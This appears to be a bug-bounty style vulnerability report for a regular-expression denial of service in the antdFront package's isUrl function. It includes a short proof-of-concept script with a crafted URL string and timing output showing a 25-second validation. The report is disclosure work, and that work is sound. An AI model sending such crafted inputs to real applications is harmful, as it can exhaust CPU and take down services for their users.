✍️ Description

A ReDoS (regular expression denial of service) flaw was found in the antdFront package. An attacker that is able to provide crafted input to the isUrl(input) function may cause an application to consume an excessive amount of CPU.

🕵️‍♂️ Proof of Concept

Create the following poc.mjs

// PoC.mjs
import {isUrl } from './antdFront/src/utils/is.js';
var time = Date.now();
isUrl('http://foobar.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.');
var time_cost = Date.now() - time;
console.log("Time taken to validate : " + time_cost+" ms")

Execute the following command in another terminal:

git clone and make changes like setting "type": "module" in the package.json
node poc.mjs

Check the Output:

Time taken to validate : 25051 ms

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes. Ideally, validation should be done within 1-10 milliseconds, but in the above case, it's 25 sec.